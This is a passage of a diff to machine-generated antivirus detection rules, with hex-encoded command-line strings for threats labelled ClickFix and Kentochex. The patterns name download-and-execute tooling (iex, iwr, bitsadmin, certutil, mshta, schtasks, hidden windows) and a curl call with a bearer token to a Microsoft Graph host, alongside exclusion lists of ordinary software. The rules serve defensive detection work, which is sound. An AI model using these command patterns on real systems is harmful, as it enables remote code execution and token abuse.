64 65 72 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4a 41 00 01 00 06 00 63 00 6d 00 64 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 08 00 20 00 69 00 65 00 78 00 01 00 08 00 69 00 65 } //21283 + $a_00_2 = {69 00 65 00 78 00 28 00 } //1 iex( + $a_00_3 = {7c 00 69 00 65 00 78 00 } //1 |iex + $a_00_4 = {69 00 77 00 72 00 } //1 iwr + $a_00_5 = {6a 00 73 00 63 00 72 00 69 00 70 00 74 00 } //1 jscript + $a_00_6 = {77 00 73 00 63 00 72 00 69 00 70 00 74 00 } //1 wscript + $a_00_7 = {49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 } //1 InstallProduct + $a_00_8 = {62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 } //1 bitsadmin + $a_00_9 = {63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 } //1 certutil + $a_00_10 = {69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 75 00 74 00 69 00 6c 00 } //1 installutil + $a_00_11 = {73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 } //1 scriptblock + $a_00_12 = {74 00 61 00 73 00 6b 00 73 00 63 00 68 00 64 00 } //1 taskschd + $a_00_13 = {73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 } //1 schtasks + $a_00_14 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 } //1 invoke + $a_00_15 = {76 00 62 00 73 00 63 00 72 00 69 00 70 00 74 00 } //1 vbscript + $a_00_16 = {73 00 73 00 6c 00 } //1 ssl + $a_00_17 = {66 00 6f 00 72 00 66 00 69 00 6c 00 65 00 73 00 } //1 forfiles + $a_00_18 = {72 00 65 00 70 00 6c 00 61 00 63 00 65 00 } //1 replace + $a_00_19 = {68 00 74 00 74 00 70 00 3a 00 } //1 http: + $a_00_20 = {68 00 74 00 74 00 70 00 73 00 3a 00 } //1 https: + $a_00_21 = {70 00 74 00 74 00 68 00 } //1 ptth + $a_00_22 = {73 00 3a 00 2f 00 2f 00 } //1 s:// + $a_00_23 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + $a_00_24 = {6d 00 69 00 6e 00 69 00 6d 00 69 00 7a 00 65 00 64 00 } //1 minimized + $a_00_25 = {5b 00 63 00 68 00 61 00 72 00 5d 00 } //1 [char] + $a_00_26 = {5b 00 62 00 79 00 74 00 65 00 5d 00 } //1 [byte] + $a_00_27 = {55 00 70 00 64 00 61 00 74 00 65 00 2e 00 65 00 78 00 65 00 } //-100 Update.exe + $a_00_28 = {6d 00 73 00 65 00 64 00 67 00 65 00 } //-100 msedge + $a_00_29 = {69 00 65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 } //-100 iexplore + $a_00_30 = {73 00 6c 00 61 00 63 00 6b 00 } //-100 slack + $a_00_31 = {63 00 68 00 72 00 6f 00 6d 00 65 00 } //-100 chrome + $a_00_32 = {61 00 63 00 72 00 6f 00 72 00 64 00 33 00 32 00 } //-100 acrord32 + $a_00_33 = {6c 00 6f 00 6f 00 6d 00 2e 00 65 00 78 00 65 00 } //-100 loom.exe + $a_00_34 = {65 00 78 00 63 00 65 00 6c 00 } //-100 excel + $a_00_35 = {77 00 69 00 6e 00 77 00 6f 00 72 00 64 00 } //-100 winword + $a_00_36 = {70 00 6f 00 77 00 65 00 72 00 70 00 6e 00 74 00 } //-100 powerpnt + $a_00_37 = {6f 00 6e 00 65 00 6e 00 6f 00 74 00 65 00 } //-100 onenote + $a_00_38 = {6f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 } //-100 outlook + $a_00_39 = {73 00 69 00 67 00 6e 00 61 00 6c 00 } //-100 signal + $a_00_40 = {73 00 74 00 61 00 72 00 74 00 20 00 6d 00 65 00 6e 00 75 00 } //-100 start menu + $a_00_41 = {70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 66 00 69 00 6c 00 65 00 73 00 } //-100 program files + $a_00_42 = {65 00 6d 00 62 00 65 00 64 00 68 00 6f 00 6f 00 6b 00 2d 00 78 00 38 00 36 00 2e 00 65 00 78 00 65 00 } //-100 embedhook-x86.exe + $a_00_43 = {63 00 61 00 6e 00 76 00 61 00 } //-100 canva + $a_00_44 = {73 00 79 00 6e 00 63 00 63 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 6c 00 65 00 72 00 } //-100 synccontroller + $a_00_45 = {61 00 63 00 72 00 6f 00 62 00 61 00 74 00 } //-100 acrobat + $a_00_46 = {66 00 69 00 72 00 65 00 66 00 6f 00 78 00 } //-100 firefox + $a_00_47 = {61 00 63 00 63 00 65 00 6e 00 74 00 75 00 72 00 65 00 } //-100 accenture + $a_00_48 = {61 00 72 00 74 00 69 00 63 00 75 00 6c 00 61 00 74 00 65 00 } //-100 articulate + $a_00_49 = {62 00 6c 00 75 00 65 00 73 00 74 00 61 00 63 00 6b 00 73 00 } //-100 bluestacks + $a_00_50 = {65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 } //-100 explorer + $a_00_51 = {63 00 68 00 6f 00 63 00 6f 00 6c 00 61 00 74 00 65 00 79 00 } //-100 chocolatey + $a_00_52 = {63 00 72 00 6f 00 6e 00 65 00 74 00 } //-100 cronet + $a_00_53 = {46 00 69 00 64 00 65 00 6c 00 69 00 74 00 79 00 } //-100 Fidelity + $a_00_54 = {4f 00 70 00 65 00 6e 00 46 00 69 00 6e 00 } //-100 OpenFin + $a_00_55 = {63 00 61 00 63 00 68 00 65 00 } //-100 cache + $a_00_56 = {41 00 70 00 70 00 76 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //-100 AppvClient + $a_00_57 = {7a 00 6f 00 6f 00 6d 00 } //-100 zoom + $a_00_58 = {70 00 72 00 69 00 6e 00 74 00 65 00 72 00 } //-100 printer + $a_00_59 = {49 00 6e 00 74 00 75 00 6e 00 65 00 4d 00 61 00 6e 00 61 00 67 00 65 00 6d 00 65 00 6e 00 74 00 45 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 } //-100 IntuneManagementExtension + $a_00_60 = {6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5f 00 6f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 5f 00 69 00 6e 00 74 00 65 00 67 00 72 00 61 00 74 00 69 00 6f 00 6e 00 } //-100 microsoft_outlook_integration + $a_00_61 = {41 00 74 00 65 00 72 00 6e 00 69 00 74 00 79 00 } //-100 Aternity + $a_00_62 = {2e 00 73 00 6f 00 76 00 2e 00 6d 00 70 00 73 00 } //-100 .sov.mps + $a_00_63 = {66 00 74 00 70 00 2e 00 6d 00 6f 00 7a 00 69 00 6c 00 6c 00 61 00 2e 00 6f 00 72 00 67 00 } //-100 ftp.mozilla.org + $a_00_64 = {50 00 61 00 6c 00 6f 00 41 00 6c 00 74 00 6f 00 } //-100 PaloAlto + $a_00_65 = {47 00 6c 00 6f 00 62 00 61 00 6c 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 } //-100 GlobalProtect + $a_00_66 = {73 00 79 00 73 00 74 00 65 00 6d 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 } //-100 systemprofile + $a_00_67 = {43 00 72 00 6f 00 73 00 73 00 46 00 69 00 6e 00 64 00 65 00 72 00 } //-100 CrossFinder + $a_00_68 = {2e 00 63 00 6c 00 6f 00 75 00 64 00 61 00 70 00 70 00 2e 00 61 00 7a 00 75 00 72 00 65 00 } //-100 .cloudapp.azure + $a_00_69 = {4d 00 41 00 49 00 4e 00 54 00 45 00 4e 00 41 00 4e 00 43 00 45 00 } //-100 MAINTENANCE + $a_00_70 = {67 00 6f 00 6f 00 67 00 6c 00 65 00 63 00 68 00 72 00 6f 00 6d 00 65 00 73 00 74 00 61 00 6e 00 64 00 61 00 6c 00 6f 00 6e 00 65 00 65 00 6e 00 74 00 65 00 72 00 70 00 72 00 69 00 73 00 65 00 } //-100 googlechromestandaloneenterprise + $a_00_71 = {45 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 43 00 6f 00 6e 00 73 00 6f 00 6c 00 65 00 } //-100 EnvironmentManagerConsole + $a_00_72 = {77 00 61 00 7a 00 75 00 68 00 } //-100 wazuh + $a_00_73 = {4f 00 70 00 65 00 6e 00 54 00 65 00 78 00 74 00 20 00 48 00 6f 00 73 00 74 00 45 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 } //-100 OpenText HostExplorer + $a_00_74 = {4a 00 61 00 62 00 72 00 61 00 58 00 70 00 72 00 65 00 73 00 73 00 78 00 } //-100 JabraXpressx + $a_00_75 = {53 00 75 00 70 00 70 00 6f 00 72 00 74 00 41 00 73 00 73 00 69 00 73 00 74 00 41 00 67 00 65 00 6e 00 74 00 } //-100 SupportAssistAgent + $a_00_76 = {43 00 6c 00 69 00 65 00 6e 00 74 00 53 00 65 00 74 00 75 00 70 00 } //-100 ClientSetup + $a_00_77 = {54 00 65 00 72 00 72 00 61 00 66 00 69 00 72 00 6d 00 } //-100 Terrafirm + $a_00_78 = {66 00 69 00 72 00 6d 00 77 00 61 00 72 00 65 00 } //-100 firmware + $a_3f_79 = {00 0a 00 0a 00 45 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 45 44 00 0a 00 27 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 61 00 63 00 74 00 69 00 76 00 69 00 74 00 79 00 64 00 6d 00 79 00 2f 00 90 00 0a 00 17 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 62 00 65 00 74 00 2f 00 90 00 0a 00 17 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 62 00 69 00 7a 00 2f 00 90 00 0a 00 19 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 62 00 6c 00 6f 00 67 00 2f 00 90 00 0a 00 19 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 62 00 6f 00 6e 00 64 00 2f 00 90 00 0a 00 19 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 62 00 75 00 } //0 + $a_00_80 = {2f 00 90 00 0a 00 17 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 63 00 61 00 6d 00 2f 00 90 00 0a 00 17 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 63 00 64 00 61 00 2f 00 90 00 0a 00 1b 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 63 00 6c 00 69 00 63 00 6b 00 2f 00 90 00 0a 00 19 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 63 00 6c 00 75 00 62 00 2f 00 90 00 0a 00 1f 02 } //122 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*1+(#a_00_23 & 1)*1+(#a_00_24 & 1)*1+(#a_00_25 & 1)*1+(#a_00_26 & 1)*1+(#a_00_27 & 1)*-100+(#a_00_28 & 1)*-100+(#a_00_29 & 1)*-100+(#a_00_30 & 1)*-100+(#a_00_31 & 1)*-100+(#a_00_32 & 1)*-100+(#a_00_33 & 1)*-100+(#a_00_34 & 1)*-100+(#a_00_35 & 1)*-100+(#a_00_36 & 1)*-100+(#a_00_37 & 1)*-100+(#a_00_38 & 1)*-100+(#a_00_39 & 1)*-100+(#a_00_40 & 1)*-100+(#a_00_41 & 1)*-100+(#a_00_42 & 1)*-100+(#a_00_43 & 1)*-100+(#a_00_44 & 1)*-100+(#a_00_45 & 1)*-100+(#a_00_46 & 1)*-100+(#a_00_47 & 1)*-100+(#a_00_48 & 1)*-100+(#a_00_49 & 1)*-100+(#a_00_50 & 1)*-100+(#a_00_51 & 1)*-100+(#a_00_52 & 1)*-100+(#a_00_53 & 1)*-100+(#a_00_54 & 1)*-100+(#a_00_55 & 1)*-100+(#a_00_56 & 1)*-100+(#a_00_57 & 1)*-100+(#a_00_58 & 1)*-100+(#a_00_59 & 1)*-100+(#a_00_60 & 1)*-100+(#a_00_61 & 1)*-100+(#a_00_62 & 1)*-100+(#a_00_63 & 1)*-100+(#a_00_64 & 1)*-100+(#a_00_65 & 1)*-100+(#a_00_66 & 1)*-100+(#a_00_67 & 1)*-100+(#a_00_68 & 1)*-100+(#a_00_69 & 1)*-100+(#a_00_70 & 1)*-100+(#a_00_71 & 1)*-100+(#a_00_72 & 1)*-100+(#a_00_73 & 1)*-100+(#a_00_74 & 1)*-100+(#a_00_75 & 1)*-100+(#a_00_76 & 1)*-100+(#a_00_77 & 1)*-100+(#a_00_78 & 1)*-100+(#a_3f_79 & 1)*0+(#a_00_80 & 1)*122) >=1 + +} +rule _InfrastructureShared_27384{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 45 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 45 44 00 0a 00 27 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 61 00 63 00 74 00 69 00 76 00 69 00 74 00 79 00 64 00 6d 00 79 00 2f 00 90 00 0a 00 17 02 68 00 74 } //21283 + $a_2e_2 = {62 00 65 00 74 00 2f 00 90 00 0a 00 17 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 62 00 69 00 7a 00 2f 00 90 00 0a 00 19 02 68 00 74 00 74 00 70 } //656 + $a_30_3 = {00 62 } //-28672 戀 + $a_00_5 = {90 00 0a 00 19 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 62 00 6f 00 6e 00 64 00 2f 00 90 00 0a 00 19 02 68 00 74 00 74 00 70 00 90 02 30 2e } //103 + $a_00_7 = {2f 00 90 00 0a 00 17 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 63 00 61 00 6d 00 2f 00 90 00 0a 00 17 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 63 00 64 00 61 00 2f 00 90 00 0a 00 1b 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 63 00 6c 00 69 00 63 00 6b 00 2f 00 90 00 0a 00 19 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 63 00 6c 00 75 00 62 00 2f 00 90 00 0a 00 1f 02 } //122 + $a_00_8 = {74 00 70 00 90 02 30 2e 00 63 00 6f 00 75 00 6e 00 74 00 72 00 79 00 2f 00 90 00 0a 00 1f 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 63 00 75 00 6c 00 74 00 75 00 72 00 65 00 2f 00 90 00 0a 00 19 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 63 00 79 00 6f 00 75 00 2f 00 90 00 0a 00 17 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 64 00 61 00 74 00 2f 00 } //104 + $a_00_9 = {1f 02 68 00 74 00 74 00 70 00 } //144 ȟhttp + $a_2e_10 = {64 00 69 00 67 00 69 00 74 00 61 00 6c 00 2f 00 90 00 0a 00 21 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 } //656 + $a_00_12 = {27 02 68 00 74 00 74 00 70 00 } //144 ȧhttp + $a_2e_13 = {65 00 6d 00 70 00 6c 00 6f 00 79 00 65 00 72 00 64 00 62 00 7a 00 2f 00 90 00 0a 00 17 02 68 00 74 00 74 00 70 00 90 02 30 2e 00 65 00 70 00 73 } //656 + $a_02_15 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 2f 00 } //10 + $a_02_16 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 66 00 6c 00 76 00 2f 00 } //10 + $a_02_17 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 66 00 75 00 6e 00 2f 00 } //10 + $a_02_18 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 67 00 64 00 6e 00 2f 00 } //10 + $a_02_19 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 68 00 61 00 69 00 72 00 2f 00 } //10 + $a_02_20 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 68 00 65 00 6c 00 70 00 2f 00 } //10 + $a_02_21 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 69 00 63 00 75 00 2f 00 } //10 + $a_02_22 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 69 00 6e 00 66 00 6f 00 2f 00 } //10 + $a_02_23 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 61 00 74 00 2f 00 } //10 + $a_02_24 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 69 00 66 00 65 00 2f 00 } //10 + $a_02_25 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 69 00 6e 00 6b 00 2f 00 } //10 + $a_02_26 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 6f 00 61 00 6e 00 2f 00 } //10 + $a_02_27 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 6c 00 69 00 76 00 65 00 2f 00 } //10 + $a_02_28 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 34 00 61 00 2f 00 } //10 + $a_02_29 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 64 00 62 00 2f 00 } //10 + $a_02_30 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 65 00 2f 00 } //10 + $a_02_31 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 70 00 33 00 2f 00 } //10 + $a_02_32 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 70 00 34 00 2f 00 } //10 + $a_02_33 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 6d 00 79 00 2f 00 } //10 + $a_02_34 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 2f 00 } //10 + $a_02_35 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 70 00 61 00 72 00 74 00 79 00 2f 00 } //10 + $a_02_36 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 70 00 72 00 6f 00 2f 00 } //10 + $a_02_37 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 70 00 77 00 2f 00 } //10 + $a_02_38 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 61 00 63 00 69 00 6e 00 67 00 2f 00 } //10 + $a_02_39 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 65 00 6e 00 2f 00 } //10 + $a_02_40 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 65 00 69 00 73 00 65 00 2f 00 } //10 + $a_02_41 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 65 00 76 00 69 00 65 00 77 00 2f 00 } //10 + $a_02_42 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 72 00 75 00 6e 00 2f 00 } //10 + $a_02_43 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 62 00 73 00 2f 00 } //10 + $a_02_44 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 63 00 69 00 65 00 6e 00 63 00 65 00 2f 00 } //10 + $a_02_45 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 68 00 6f 00 70 00 2f 00 } //10 + $a_02_46 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 69 00 74 00 65 00 2f 00 } //10 + $a_02_47 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 70 00 61 00 63 00 65 00 2f 00 } //10 + $a_02_48 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 74 00 6f 00 72 00 65 00 2f 00 } //10 + $a_02_49 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 74 00 72 00 65 00 61 00 6d 00 2f 00 } //10 + $a_02_50 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 73 00 74 00 75 00 64 00 79 00 2f 00 } //10 + $a_02_51 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 65 00 63 00 68 00 2f 00 } //10 + $a_02_52 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 65 00 63 00 68 00 6e 00 6f 00 6c 00 6f 00 67 00 79 00 2f 00 } //10 + $a_02_53 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 65 00 72 00 72 00 69 00 66 00 79 00 65 00 6e 00 79 00 62 00 2f 00 } //10 + $a_02_54 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 6f 00 64 00 61 00 79 00 2f 00 } //10 + $a_02_55 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 74 00 6f 00 70 00 2f 00 } //10 + $a_02_56 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 76 00 69 00 70 00 2f 00 } //10 + $a_02_57 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 77 00 6f 00 72 00 6b 00 2f 00 } //10 + $a_02_58 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 77 00 6f 00 72 00 6c 00 64 00 2f 00 } //10 + $a_02_59 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 78 00 6c 00 6c 00 2f 00 } //10 + $a_02_60 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 78 00 79 00 7a 00 2f 00 } //10 + $a_02_61 = {68 00 74 00 74 00 70 00 [0-30] 2e 00 79 00 6f 00 6b 00 6f 00 68 00 61 00 6d 00 61 00 2f 00 } //10 + $a_00_62 = {2e 00 70 00 73 00 31 00 } //-300 .ps1 + $a_00_63 = {2e 00 68 00 74 00 61 00 } //-300 .hta + $a_00_64 = {6e 00 75 00 61 00 6e 00 63 00 65 00 2e 00 70 00 6f 00 77 00 65 00 72 00 73 00 63 00 72 00 69 00 62 00 65 00 33 00 36 00 30 00 } //-300 nuance.powerscribe360 + $a_00_65 = {70 00 73 00 33 00 36 00 30 00 72 00 65 00 70 00 6f 00 72 00 74 00 69 00 6e 00 67 00 63 00 6c 00 69 00 65 00 6e 00 74 00 } //-300 ps360reportingclient + $a_2a_66 = {00 00 0f 17 00 21 23 42 4d 5f 46 53 47 5f 50 41 43 4b 45 44 e7 da bc ec 04 f2 ea 80 17 d1 67 bc 31 e4 80 13 ed f2 1e 18 04 c7 77 e7 2a 00 00 00 0f 17 00 21 23 42 4d 5f 55 50 58 5f 50 41 43 4b 45 44 e7 da bc ec 04 f2 ea 80 17 d1 67 bc 31 e4 80 13 ed f2 1e 18 89 67 82 e7 2a 00 00 00 14 12 00 21 23 41 4c 46 3a 41 4d 53 49 32 3a 4d 4c 3a 50 73 3a 39 30 93 67 04 ec e3 ad c7 17 74 ec ad e7 ec 67 d1 ec 4a 33 e7 2a 00 00 00 14 12 00 21 23 41 4c 46 3a 41 4d 53 49 32 3a 4d 4c 3a 50 73 3a 39 35 93 67 04 ec e3 ad c7 17 74 ec ad e7 ec 67 d1 ec 4a 29 e7 2a 00 00 00 14 12 00 21 23 41 4c 46 3a 41 53 52 3a 45 53 52 50 5f 45 6e 65 49 6f 14 ad c2 fc c7 93 67 ec a3 d1 1e 0b ec fc 3f 80 17 ac e7 2a 00 00 } //0 + $a_00_67 = {21 23 41 4c 46 3a 41 53 52 3a 45 53 52 50 5f 61 73 69 } //5120 !#ALF:ASR:ESRP_asi + $a_ad_68 = {fc c7 93 67 ec a3 d1 1e 0b ec bc d1 f2 ac 74 e7 2c 00 00 00 } //12911 + condition: + ((#a_46_0 & 1)*21283+(#a_2e_2 & 1)*656+(#a_30_3 & 1)*-28672+(#a_00_5 & 1)*103+(#a_00_7 & 1)*122+(#a_00_8 & 1)*104+(#a_00_9 & 1)*144+(#a_2e_10 & 1)*656+(#a_00_12 & 1)*144+(#a_2e_13 & 1)*656+(#a_02_15 & 1)*10+(#a_02_16 & 1)*10+(#a_02_17 & 1)*10+(#a_02_18 & 1)*10+(#a_02_19 & 1)*10+(#a_02_20 & 1)*10+(#a_02_21 & 1)*10+(#a_02_22 & 1)*10+(#a_02_23 & 1)*10+(#a_02_24 & 1)*10+(#a_02_25 & 1)*10+(#a_02_26 & 1)*10+(#a_02_27 & 1)*10+(#a_02_28 & 1)*10+(#a_02_29 & 1)*10+(#a_02_30 & 1)*10+(#a_02_31 & 1)*10+(#a_02_32 & 1)*10+(#a_02_33 & 1)*10+(#a_02_34 & 1)*10+(#a_02_35 & 1)*10+(#a_02_36 & 1)*10+(#a_02_37 & 1)*10+(#a_02_38 & 1)*10+(#a_02_39 & 1)*10+(#a_02_40 & 1)*10+(#a_02_41 & 1)*10+(#a_02_42 & 1)*10+(#a_02_43 & 1)*10+(#a_02_44 & 1)*10+(#a_02_45 & 1)*10+(#a_02_46 & 1)*10+(#a_02_47 & 1)*10+(#a_02_48 & 1)*10+(#a_02_49 & 1)*10+(#a_02_50 & 1)*10+(#a_02_51 & 1)*10+(#a_02_52 & 1)*10+(#a_02_53 & 1)*10+(#a_02_54 & 1)*10+(#a_02_55 & 1)*10+(#a_02_56 & 1)*10+(#a_02_57 & 1)*10+(#a_02_58 & 1)*10+(#a_02_59 & 1)*10+(#a_02_60 & 1)*10+(#a_02_61 & 1)*10+(#a_00_62 & 1)*-300+(#a_00_63 & 1)*-300+(#a_00_64 & 1)*-300+(#a_00_65 & 1)*-300+(#a_2a_66 & 1)*0+(#a_00_67 & 1)*5120+(#a_ad_68 & 1)*12911) >=10 + +} +rule _InfrastructureShared_27385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -340682,7 +358613,7 @@ rule _InfrastructureShared_26018{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26019{ +rule _InfrastructureShared_27386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -340692,7 +358623,7 @@ rule _InfrastructureShared_26019{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26020{ +rule _InfrastructureShared_27387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -340702,7 +358633,7 @@ rule _InfrastructureShared_26020{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26021{ +rule _InfrastructureShared_27388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -340712,7 +358643,7 @@ rule _InfrastructureShared_26021{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26022{ +rule _InfrastructureShared_27389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -340722,7 +358653,7 @@ rule _InfrastructureShared_26022{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_26023{ +rule _InfrastructureShared_27390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -340732,18 +358663,44 @@ rule _InfrastructureShared_26023{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26024{ +rule _InfrastructureShared_27391{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 05 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4b 65 6e 74 6f 63 68 65 78 00 05 00 0e 00 72 00 6f 00 61 00 64 00 74 00 78 00 20 00 05 00 10 00 61 00 70 00 70 00 61 00 75 00 74 00 68 00 20 00 05 00 10 00 61 00 61 00 64 00 67 00 72 00 } //21283 + $a_00_1 = {68 00 01 00 14 00 2d 00 2d 00 63 00 65 00 72 00 74 00 2d 00 70 00 66 00 78 00 01 00 14 00 2d 00 2d 00 70 00 66 00 78 00 2d 00 70 00 61 00 73 00 73 00 00 00 d7 94 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 50 73 4d 73 68 74 61 44 6f 77 6e 6c 6f 61 64 2e 41 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 } //97 + $a_00_2 = {65 00 01 00 50 00 62 00 51 00 42 00 7a 00 41 00 47 00 67 00 41 00 64 00 41 00 42 00 68 00 41 00 43 00 41 00 41 00 49 00 67 00 42 00 6f 00 41 00 48 00 51 00 41 00 64 00 41 00 42 00 77 00 41 00 48 00 4d 00 41 00 4f 00 67 00 41 00 76 00 41 00 43 00 38 00 41 00 00 00 d7 b3 00 00 10 00 10 00 05 00 21 23 53 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 44 75 } //101 + $a_67_3 = {6d 00 05 00 0a 00 63 00 75 00 72 00 6c 00 20 00 05 00 20 00 2d 00 2d 00 6f 00 61 00 75 00 74 00 68 00 32 00 2d 00 62 00 65 00 61 00 72 00 65 00 72 00 20 00 05 00 24 00 67 00 72 00 61 00 70 00 68 00 2e 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 6e 00 65 00 74 00 2f 